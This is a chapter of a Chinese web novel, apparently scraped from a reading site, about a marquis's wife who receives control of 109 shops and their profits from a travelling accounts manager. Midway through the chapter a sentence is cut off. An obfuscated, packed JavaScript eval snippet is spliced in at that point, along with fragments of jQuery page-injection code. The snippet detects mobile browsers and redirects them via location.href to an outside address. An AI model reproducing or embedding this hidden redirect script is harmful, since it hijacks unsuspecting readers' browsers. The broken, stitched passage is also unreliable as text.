侯府在京中经营的商铺每间每年大约有一万两的收入，就算秋掌柜口中的一百零九家店铺所处之地没有京中繁华，这利润加起来也足够惊人了。


    这么多钱毫无保留全部交给徐素湘，这还是她认识的那个裴放吗？


    要知道，成婚这五年里，侯府这二十八家商铺可没有一家是交给徐素湘管着的，府里的进项都在裴放自己手中握着，而徐素湘只有花钱的自由，可没有管钱的自由。


    她翻着账簿，发现这么多家铺子竟然每一家都是盈利的，可见裴放在这上面花了不少的心思。


    她心中想了很多，到嘴边也只是好奇地问了一句：“上一季的盈利是？”


    秋掌柜从衣襟里掏出一叠厚厚的银票，双手奉上：“一百零九家铺子，去年十月初到十二月底的盈利，共计二十一万三千六百两白银。”


    这都快赶上京中二十八家商铺一年的总收入了，徐素湘接过银票看了一眼，郑重道：“那我便替侯爷代为保管了。”


    秋掌柜抬头：“侯爷让小妇人转告夫人一声，所有的铺子和银钱送到夫人手上皆归夫人所有，夫人想拿来做什么，便做什么。”


    “……”徐素湘动作一顿，觉得手上银票竟有那么一点烫手。


    这真的是裴放的意思吗……


    徐素湘怔愣一会儿，勉强按下心中的激动，请秋掌柜入座，换了话题：“这么多铺子，秋掌柜是怎么把账收齐的？”


    说话间翠竹已换了一次茶水，秋掌柜喝了口茶，说道：“侯爷与各店铺掌柜之间早有约定，每三个月结算一次盈利，我奉侯爷之命专门负责前往各个店铺收账，一年之中倒有大半年的时间在路上。这一次收账，我年后动身，至二月底才把各地的账收齐，又马不停蹄将总账送往京城，却在前几日乍然听闻了噩耗……想起侯爷当初的托付之言，我不敢耽搁，这才贸然登门求见夫人。”


    话说到这里，徐素湘已不再怀疑这件事的真实性，毕竟，银票已经实打实的到了她手里，只是，她心中仍有疑惑。


    “秋掌柜是只负责收账？”徐素湘试探着问道，“那，开设铺子的人，侯爷是另有安排咯？”


    秋掌柜道：“小妇人所知不多，侯爷手上每增加一间铺子，只知会我店铺所在和掌柜其人，其余的，我一概不知。”


    徐素湘想了想，问她：“侯爷允诺给秋掌柜的报酬是什么？”


    一整年都在路上奔波，这么辛苦的活计，总不能没有报酬吧？裴放又是怎么认识的秋掌柜？再者，秋掌柜一个女流之辈，在外面闯荡遇到危险怎么办？


    徐素湘心里的疑惑实在是太多了，或许裴放这五年的精力都花在了这些店铺上，但他心里到底在想什么，徐素湘是一点也猜不透。


    秋掌柜观她神情，主动开口道：“侯爷曾交代过，夫人对于此事定有诸多疑惑，他命我，对着夫人，可知无不言。”


    于是她将自己是如何遇到侯爷，又如何做了这收账掌柜，侯爷允诺了她什么报酬，事无巨细皆一一对徐素湘道来。


    秋掌柜名唤秋蓉，原是青州北海县人，后嫁到寿光县成为县里衙役赵二海的妻子，与之生了四个儿子。


    婚后没几年赵二海就染上赌博恶习，常因手气不好殴打妻子，秋蓉为了孩子忍受了他八年的暴力行径，常年拖着伤躯带着孩子们干活还债。直到大儿子十二岁开始维护母亲，几次将父亲赵二海打伤，引得他变本加厉，连四个儿子也不放过，秋蓉彻底忍不下去了。


    就在秋蓉打算瞒着四个儿子毒杀赵二海的时候，裴放派人找到了她，与她做了一笔交易。


    他将赵二海所欠的债务买下，一纸诉状递到了县衙，县令裴闻仲判他杖三十徒两年，他昔日的衙役同僚将那三十杖打得毫不含糊，杖杖见血，等关进牢里时赵二海只剩了不到半条命。他进县衙大牢的当天晚上，他那祖传的两间瓦房就被一把大火烧得干干净净，秋蓉和她的四个儿子在大火中不见了踪影，生不见人死不见尸。


    裴放悄无声息带走她母子五人，条件就是让他们母子卖身予他为奴，从此四海为家专门为他收账，每收一季的账得酬银二十两，路上食宿花销全报，合计三十五两白银，还可子承母业，四个儿子大了若能得用，也是一样的待遇，若不得用，裴放还可为其安排别的差事。


    “侯爷给的报酬很高，我从前操劳一年也赚不来的银子如今跑上三个月就能赚到，这四年来虽说带着孩子们居无定所经常风霜满面，但我心里却是从未有过的踏实和满足，我们母子都很感恩侯爷当年伸出的援手。”


    秋掌柜冷淡的神情里露出一丝温和来，说话时的语气也充满了真诚。


    徐素湘听的入神，不知道裴放还有这样与人为善的一面，印象里他身上一直有着侯爵勋贵与生俱来的傲气和贵气，对谁都透着一股子淡漠疏离，何曾这样屈尊降贵费心费力地帮助他人？


    他身上有太多她看不懂的东西，或许她与裴放之间还没有他与秋掌柜那般亲近熟络。


    徐素湘在心里叹了一口气，把他赶出脑海，问秋掌柜道：“你们这些年在路上可曾遭遇过危险？”


    她自然发问，神色间是纯粹的好奇。


    秋掌柜一愣，微笑着答道：“一开始是遇到过些小偷小摸，但抢是不敢抢的，我那四个小子往我身边一站，就是山匪见了都要掂量一下，这些年他们渐渐长大，我们就很少遇到这种麻烦了。”


    她四个儿子，老大悍勇无畏，老二聪明机智，老三圆滑，老四心细，无论遭遇什么境况母子五人齐心协力最后总能化险为夷。


    徐素湘听了，不禁露出欣慰的笑来，又问她这些年走了不少地方可曾遇到什么故事，言语间满是向往和欣羡，倒把那一百多家铺子的事给忘在脑后了。


    秋掌柜挑着几件趣事儿说了，眼看着日影西斜，她不禁往门外张望了好几眼。


    徐素湘注意到了，这才发觉自己耽搁了人家的时间，不由地抱歉道：“怪我一时忘了形，倒把秋掌柜给绊住了。”


    “无妨的，眼下我也没什么重要的事了，只是我那四个孩子还在外面等着，我怕他们焦急罢了。”


    徐素湘忙叫红菱去称了三十五两白银过来，她端起茶杯示意秋掌柜，秋掌柜将自己那杯茶喝了，这才起身告辞。


    翠竹亲自把人送到了门外，片刻之后回来禀道：“她那四个儿子可真是奇了，各个都有咱们的大门高，大的那个浓眉大眼往那一站就是一座山，看人的眼神可凶了，二儿子看着斯文些也没那么壮，三儿子见我就笑还喊我姐姐，四儿子嘛略矮些，见他娘出来就


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496702|170225||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    松了口气。”


    徐素湘似乎想到了那画面，不禁笑起来：“果真是山匪见了都得掂量一下……”


    回到听澜苑，徐素湘才把银票收起来，裴慧就过来了，因她下午在正厅待了太久，裴慧便关心道：“下午过来的是什么人，二嫂可是遇着难事了？”


    徐素湘顿了顿，若是直接说出秋掌柜的身份，那必要牵扯出一百零九家铺面的事，裴放既没让他两个妹妹知道，她也就不便生事，只推说是乡下庄子里的一个女管事过来回话。


    “虽耽搁了些时间，但却不是什么大事。”


    裴慧听了也并未寻根究底，只是道明了自己的来意：“我想着二哥已有所好转，我明日也该回去了。”


    这几日她待在侯府，也算是煎熬了一场，再不回去，自家后院又要热闹起来了。她那个夫君不知道这几日在莳花楼认识了什么人，竟又要抬个姨娘回来，她今天得知险些没把自己气死，这娘家她是一日也待不下去了。


    徐素湘见她脸色不太好，猜想定是她那个夫君又惹了外面的人，也不留她了：“好，那我明日一早送你，家里若是有事，只管告诉我，你二哥虽起不来，还有我替你撑腰呢。”


    裴慧鼻子一酸，哽着声音道：“我知道，谢谢二嫂。”


    弦月馆里裴敏也得知了姐姐要回去的消息，言夫人派来的巧英便趁机提议道：“大奶奶，要不咱们也回去了吧？轩哥儿这么久没见着大爷，回去只怕要和他生分了，再者，大爷肯定也想奶奶了。”


    她这话正戳中裴敏心事，她的确是不想轩哥儿亲近他祖母，却从没想过要让他和自己亲爹也变得生分起来。


    可，若要回去，她还没想好怎么面对夫君，也不知道他现在是不是在怪她……


    她正举棋不定，巧英又给添了一把火：“听说大爷这几日在外头应酬多，喝了酒夜里总要咳两声，大夫都来瞧了两回了。”


    裴敏这丈夫往日里原是滴酒不沾的，只是官场上应酬总免不了，每次喝了酒第二日就要咳嗽起来，裴敏为了他的身体没少着急上火。


    “知道自己不能喝酒，他就不会推脱两下？”一听巧英这么说，她心里立刻就松动了，咬着牙道，“你去趟听澜苑，告诉嫂嫂一声，我明日就回去。”


    巧英当即应下，转身就去了。


    知道两位姑奶奶要走了，徐素湘也算是松了一口气，虽然裴敏待她不再如往常亲近，但她明日还是决定亲自送她。


    亲姐妹尚且要吵架呢，何况姑嫂？她相信，时间总会把矛盾淡化，将来总有和好如初的一天。


    夜里，她躺在床上怎么也睡不着，想到那二十一万三千六百两的银票，总有一种不太真实的感觉。


    裴放就这么随便把这笔钱给她了？她有心想当面问问他，奈何他也没法回答……


    辗转反侧，她还是摸黑起来，把床头装着一百零九张银票的匣子抱进怀里，重新躺倒。


    这是有生以来第一笔属于她的巨额财富，有了这些钱，就是离了侯府她也能过上普通人的舒坦日子。


    甚至，还能带着红菱和翠竹一起，像秋掌柜一样过自由如风的生活。


    自由啊……


    悄悄念着这两个字，她抱紧了怀中的匣子，带着无限的畅想，沉沉睡去。